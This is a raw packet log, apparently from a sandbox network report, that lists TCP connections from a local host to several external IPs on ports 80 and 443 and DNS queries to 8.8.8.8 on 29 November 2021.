Nov 29, 2021 06:00:51.312484980 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.312494993 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.312522888 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.312561035 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.312618971 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.313127041 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.313153982 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.313172102 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.313194036 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.313210964 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.313227892 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.313251972 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.313275099 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.313297987 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.313291073 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.313318968 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.313322067 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.313355923 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.314076900 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.314101934 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.314120054 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.314137936 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.314155102 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.314172983 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.314189911 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.314208031 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.314239025 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.314263105 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.314269066 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.314304113 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.315040112 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.315066099 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.315088034 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.315110922 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.315134048 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.315138102 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.315156937 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.315171957 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.315181971 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.315187931 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.315207005 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.315228939 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.315246105 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.315253019 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.315915108 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.315938950 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.315963030 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.315995932 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.315995932 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.316020012 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.316040993 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.316044092 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.316070080 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.316081047 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.316092968 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.316148996 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.316659927 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.316684008 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.316705942 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.316729069 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.316742897 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.316752911 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.316759109 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.316776991 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.316800117 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.316812992 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.316824913 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.316862106 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.316884995 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.316896915 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.316930056 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.317589045 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.317612886 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.317636967 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.317658901 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.317682028 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.317704916 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.317719936 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.317727089 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.317748070 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.317750931 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.317775011 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.317790031 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.317797899 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.317832947 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.318506002 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.318531036 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.318555117 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.318578005 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.318600893 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.318624973 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.318627119 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.318648100 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.318661928 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.318671942 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.318696022 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.318703890 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.318720102 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.318773031 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.319442987 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.319467068 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.319490910 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.319511890 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.319535017 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.319557905 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.319557905 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.319583893 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.320410967 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.320436001 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.320458889 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.320481062 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.320487976 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.320513010 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.321019888 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.321044922 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.321069002 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.321090937 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.321114063 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.321135998 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.321156979 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.321181059 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.321939945 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.321964025 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.321986914 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.322010040 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.322031021 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.322040081 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.322053909 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.322072029 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.322092056 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.322851896 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.322875023 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.322890043 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.322912931 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.322928905 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.322948933 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.323021889 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.323055029 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.323755980 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.323777914 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.323800087 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.323816061 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.323837996 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.323844910 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.323858976 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.323887110 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.323910952 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.324748993 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.324790955 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.324841022 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.324875116 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.324902058 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.324911118 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.324942112 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.324980021 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.325050116 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.325403929 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.325426102 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.325444937 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.325464010 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.325484991 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.325505018 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.325519085 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.325526953 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.325537920 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.325548887 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.325593948 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.326344967 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.326365948 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.326385975 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.326406956 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.326426029 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.326438904 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.326446056 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.326466084 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.326467991 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.326483965 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.326488972 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.326531887 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.327259064 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.327280045 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.327469110 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.327488899 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.327510118 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.327528954 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.327548981 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.327548027 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.327570915 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.327590942 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.327594042 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.327608109 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.327611923 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.327652931 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.328440905 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.328461885 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.328481913 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.328501940 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.328521967 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.328541040 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.328547955 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.328561068 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.328583002 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.328592062 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.328613997 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.329421043 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.329462051 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.329502106 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.329539061 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.329561949 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.329576969 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.329601049 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.329617023 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.329654932 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.329694033 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.329715014 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.330332994 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.330374002 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.330410957 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.330411911 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.330450058 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.330490112 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.330507994 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.330529928 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.330547094 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.330569983 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.330609083 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.330665112 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.331226110 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.331247091 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.331268072 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.331286907 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.331307888 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.331327915 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.331321955 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.331347942 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.331347942 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.331357002 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.331370115 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.331398964 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.332218885 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.332268953 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.332300901 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.332308054 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.332349062 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.332364082 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.332389116 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.332426071 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.332444906 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.332465887 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.332504034 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.332519054 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.333127975 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.333190918 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.333208084 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.333234072 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.333271027 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.333317041 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.333338022 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.333362103 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.333376884 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.333400965 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.333440065 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.333501101 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.334052086 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.334094048 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.334132910 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.334170103 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.334204912 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.334208965 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.334261894 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.334265947 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.334311008 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.334346056 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:00:51.334371090 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:51.378918886 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:52.182697058 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:00:56.421531916 CET	49748	443	192.168.2.3	172.67.207.136
Nov 29, 2021 06:00:56.421592951 CET	443	49748	172.67.207.136	192.168.2.3
Nov 29, 2021 06:00:56.421670914 CET	49748	443	192.168.2.3	172.67.207.136
Nov 29, 2021 06:00:56.422950983 CET	49748	443	192.168.2.3	172.67.207.136
Nov 29, 2021 06:00:56.422976971 CET	443	49748	172.67.207.136	192.168.2.3
Nov 29, 2021 06:00:56.464111090 CET	443	49748	172.67.207.136	192.168.2.3
Nov 29, 2021 06:00:56.464570045 CET	49748	443	192.168.2.3	172.67.207.136
Nov 29, 2021 06:00:56.464605093 CET	443	49748	172.67.207.136	192.168.2.3
Nov 29, 2021 06:00:56.465795994 CET	49748	443	192.168.2.3	172.67.207.136
Nov 29, 2021 06:00:56.465811968 CET	443	49748	172.67.207.136	192.168.2.3
Nov 29, 2021 06:00:56.468765020 CET	443	49748	172.67.207.136	192.168.2.3
Nov 29, 2021 06:00:56.468978882 CET	49748	443	192.168.2.3	172.67.207.136
Nov 29, 2021 06:00:56.470905066 CET	49748	443	192.168.2.3	172.67.207.136
Nov 29, 2021 06:00:56.471076965 CET	443	49748	172.67.207.136	192.168.2.3
Nov 29, 2021 06:00:56.471151114 CET	49748	443	192.168.2.3	172.67.207.136
Nov 29, 2021 06:00:56.516875029 CET	443	49748	172.67.207.136	192.168.2.3
Nov 29, 2021 06:00:56.519306898 CET	49748	443	192.168.2.3	172.67.207.136
Nov 29, 2021 06:00:56.519330025 CET	443	49748	172.67.207.136	192.168.2.3
Nov 29, 2021 06:00:56.543111086 CET	443	49748	172.67.207.136	192.168.2.3
Nov 29, 2021 06:00:56.543200970 CET	49748	443	192.168.2.3	172.67.207.136
Nov 29, 2021 06:00:56.543364048 CET	49748	443	192.168.2.3	172.67.207.136
Nov 29, 2021 06:00:56.543395996 CET	443	49748	172.67.207.136	192.168.2.3
Nov 29, 2021 06:00:56.543468952 CET	49748	443	192.168.2.3	172.67.207.136
Nov 29, 2021 06:00:56.543483973 CET	443	49748	172.67.207.136	192.168.2.3
Nov 29, 2021 06:01:21.344691992 CET	49731	80	192.168.2.3	104.21.92.165
Nov 29, 2021 06:01:21.361995935 CET	80	49731	104.21.92.165	192.168.2.3
Nov 29, 2021 06:01:22.551400900 CET	49791	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:01:22.551454067 CET	443	49791	104.21.79.9	192.168.2.3
Nov 29, 2021 06:01:22.552743912 CET	49791	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:01:22.554210901 CET	49791	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:01:22.554238081 CET	443	49791	104.21.79.9	192.168.2.3
Nov 29, 2021 06:01:22.595587969 CET	443	49791	104.21.79.9	192.168.2.3
Nov 29, 2021 06:01:22.595882893 CET	49791	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:01:22.595905066 CET	443	49791	104.21.79.9	192.168.2.3
Nov 29, 2021 06:01:22.596425056 CET	49791	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:01:22.596436024 CET	443	49791	104.21.79.9	192.168.2.3
Nov 29, 2021 06:01:22.599455118 CET	443	49791	104.21.79.9	192.168.2.3
Nov 29, 2021 06:01:22.599625111 CET	49791	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:01:22.602349997 CET	49791	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:01:22.602580070 CET	443	49791	104.21.79.9	192.168.2.3
Nov 29, 2021 06:01:22.602749109 CET	49791	443	192.168.2.3	104.21.79.9
Nov 29, 2021 06:01:22.602768898 CET	443	49791	104.21.79.9	192.168.2.3
Nov 29, 2021 06:01:22.655309916 CET	49791	443	192.168.2.3	104.21.79.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2021 05:59:59.526639938 CET	57875	53	192.168.2.3	8.8.8.8
Nov 29, 2021 05:59:59.548491955 CET	53	57875	8.8.8.8	192.168.2.3
Nov 29, 2021 05:59:59.575104952 CET	54154	53	192.168.2.3	8.8.8.8
Nov 29, 2021 05:59:59.595195055 CET	53	54154	8.8.8.8	192.168.2.3
Nov 29, 2021 05:59:59.602211952 CET	52806	53	192.168.2.3	8.8.8.8
Nov 29, 2021 05:59:59.625401974 CET	53	52806	8.8.8.8	192.168.2.3
Nov 29, 2021 05:59:59.678355932 CET	53910	53	192.168.2.3	8.8.8.8
Nov 29, 2021 05:59:59.701003075 CET	53	53910	8.8.8.8	192.168.2.3
Nov 29, 2021 05:59:59.837330103 CET	64021	53	192.168.2.3	8.8.8.8
Nov 29, 2021 05:59:59.859847069 CET	53	64021	8.8.8.8	192.168.2.3
Nov 29, 2021 06:00:08.188282013 CET	60784	53	192.168.2.3	8.8.8.8
Nov 29, 2021 06:00:08.211117029 CET	53	60784	8.8.8.8	192.168.2.3
Nov 29, 2021 06:00:08.328380108 CET	51143	53	192.168.2.3	8.8.8.8
Nov 29, 2021 06:00:08.349940062 CET	53	51143	8.8.8.8	192.168.2.3
Nov 29, 2021 06:00:21.406676054 CET	52130	53	192.168.2.3	8.8.8.8
Nov 29, 2021 06:00:21.427361965 CET	53	52130	8.8.8.8	192.168.2.3
Nov 29, 2021 06:00:49.803299904 CET	58361	53	192.168.2.3	8.8.8.8
Nov 29, 2021 06:00:49.823759079 CET	53	58361	8.8.8.8	192.168.2.3
Nov 29, 2021 06:00:52.702888966 CET	57106	53	192.168.2.3	8.8.8.8
Nov 29, 2021 06:00:52.723258018 CET	53	57106	8.8.8.8	192.168.2.3
Nov 29, 2021 06:00:56.384454966 CET	51539	53	192.168.2.3	8.8.8.8
